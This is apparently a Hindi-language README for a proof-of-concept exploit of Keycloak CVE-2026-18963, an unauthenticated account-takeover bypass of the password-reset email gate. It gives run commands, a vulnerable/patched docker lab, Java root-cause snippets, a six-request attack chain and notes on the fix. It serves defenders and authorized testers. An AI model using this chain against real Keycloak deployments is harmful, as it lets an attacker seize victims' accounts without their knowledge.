
Keycloak CVE-2026-18963 के लिए एक्सप्लॉइट जो रीसेट-क्रेडेंशियल बाईपास के माध्यम से बिना प्रमाणीकरण के खाता अधिग्रहण सक्षम करता है। इसमें सुरक्षित पहचान, गैर-विनाशकारी प्रमाण, पूर्ण अधिग्रहण, उपयोगकर्ता नाम गणना, और कमजोर तथा पैच किए गए संस्करणों वाला एक लैब शामिल है।
केवल एक उपयोगकर्ता नाम या ई-मेल पता जानकर, एक अनधिकृत हमलावर किसी भी Keycloak खाते पर एक मनमाना पासवर्ड सेट कर देता है। पासवर्ड-रीसेट ई-मेल वास्तविक पीड़ित को भेजा जाता है और उसकी कभी आवश्यकता नहीं होती — हमलावर कभी मेलबॉक्स नहीं पढ़ता, कभी लिंक पर क्लिक नहीं करता, और उसके पास कोई पूर्व प्रमाण-पत्र या सत्र नहीं होता।
प्रभावित: Keycloak 26.0.0 – 26.7.1. 26.7.2 में ठीक किया गया।
एक ही कमांड। कोई मान्य उपयोगकर्ता नाम आवश्यक नहीं, और कोई दुष्प्रभाव नहीं — यह कोई ई-मेल नहीं भेजता, किसी खाते में नहीं लिखता, और शोषण योग्य चरण से पहले रुक जाता है।```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, केवल मानक लाइब्रेरी। कुछ भी इंस्टॉल करने की आवश्यकता नहीं है।
| निकास | फ़ैसला | अर्थ |
|:---:|---|---|
| `0` | 🔴 **असुरक्षित** | पार्क किया गया ईमेल गेट प्रस्तुत किया गया — यह बग स्वयं है |
| `2` | 🟢 **पैच किया गया** | प्रवाह लॉगिन की ओर मुड़ गया और वहीं रुक गया (फिक्स #51844 मौजूद है) |
| `2` | 🟡 **शमित** | reset-credentials अगम्य है — *पासवर्ड भूल गए* बंद है। **यह पैच नहीं है।** |
| `3` | ⚪ **अनिर्णायक** | अपरिचित प्रतिक्रिया — **इसे पास के रूप में न पढ़ें** |
इसे प्रति रिएल्म चलाएं — *पासवर्ड भूल गए* एक प्रति-रिएल्म सेटिंग है, और `master` मायने रखता है।
विवरण, और चेक को किसी उपयोगकर्ता की आवश्यकता क्यों नहीं है और यह कुछ भी स्पर्श नहीं करता, [§4a](#4a-safe-detection---safe-check--start-here) में दिया गया है।
**क्या आप पहले से जानते हैं कि आप उजागर हैं?** [सुधार](#8-remediation) और [पहचान / थ्रेट हंटिंग](#9-detection) पर जाएं।
### बिना लक्ष्य के इसे आज़माएं
रिपॉजिटरी में एक लैब शामिल है जो एक समान रिएल्म के सामने एक असुरक्षित **26.7.1** और एक पैच किया हुआ **26.7.2** को साथ-साथ बूट करती है, साथ ही एक मेलबॉक्स भी है जिससे यह देखा जा सकता है कि रीसेट ईमेल आता है और खाते पर कब्ज़ा किए जाने के दौरान अपठित रहता है:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ केवल अधिकृत परीक्षण
यह रिपॉजिटरी डिफेंडरों, घटना प्रतिक्रियाकर्ताओं और अधिकृत पेनेट्रेशन परीक्षकों के लिए मौजूद है। इसे उन सिस्टम्स पर चलाएँ जिनके आप मालिक हैं या जिनके लिए आपके पास लिखित अनुमति है। यहाँ सब कुछ एक स्व-निहित कमजोर लैब (
lab/) के साथ आता है, ताकि बग कैसे काम करता है यह सीखने के लिए किसी बाहरी चीज़ को छूने की आवश्यकता न हो। इसे बिना प्राधिकरण के तीसरे पक्ष के इंफ्रास्ट्रक्चर पर लक्षित करना अधिकांश क्षेत्राधिकारों में अवैध है और यह इस प्रोजेक्ट द्वारा समर्थित नहीं है।
संदर्भ: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · फिक्स keycloak#51844
दो दोष श्रृंखलाबद्ध हैं। अकेले कोई भी शोषण योग्य नहीं है।
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — कोई भी POST जिसमें फॉर्म कुंजी tryAnotherWay हो:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
नोट एक **नंगा बूलियन है जिसमें यह दर्ज नहीं रहता कि उसे किस execution set ने सेट किया**। इसे केवल उस branch में साफ़ किया जाता है जो प्रस्तुत `authenticationExecution` पैरामीटर को संभालती है। उस पैरामीटर को छोड़ दें — जैसा यह PoC पूरे समय करता है — और flag authentication सत्र के जीवन भर सेट बना रहता है।
`processFlow()` — जब flag truthy होता है, सामान्य flow मूल्यांकन को छोड़ दिया जाता है:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
यह एक सबमिट करने योग्य फ़ॉर्म प्रस्तुत करता है जो वर्तमान में स्थगित किसी भी निष्पादन पर लक्षित होता है, बजाय सत्र को "ई-मेल की प्रतीक्षा" पर टिकाए रखने के।
यह कड़ी processResult() case FORK: है — जब रीसेट ई-मेल भेजें सक्रिय होता है तो यह
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> को अंकित करता है और ब्राउज़र को लॉगिन पेज पर फोर्क करता है।
स्थगित निष्पादन बिल्कुल ई-मेल गेट है।
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
बिना शर्त। कोई जाँच नहीं करता कि प्रवाह एक वैध एक्शन टोकन द्वारा फिर से शुरू किया गया था,
इसलिए `action()` तक *पहुँचना* मेलबॉक्स नियंत्रण साबित करने के बराबर माना जाता है।
### श्रृंखला```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
छह HTTP अनुरोध, कोई प्रमाणीकरण नहीं, कोई authenticationExecution पैरामीटर किसी भी
बिंदु पर नहीं।
model.getId() संग्रहीत करता है, और processFlow() इसका पालन करता है केवल तभी जब यह
बराबर होता है CURRENT_AUTHENTICATION_EXECUTION के, अन्यथा इसे हटा देता है। हमले में दोनों
भिन्न होते हैं (choose-user id बनाम e-mail-gate id) — ठीक वही जो पैच पहचानता है, और
ठीक वही संकेत जिस पर --safe-check निर्भर करता है।ResetCredentialEmail.action() अब आवश्यकता रखता है
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
और अन्यथा INVALID_USER के साथ विफल हो जाता है।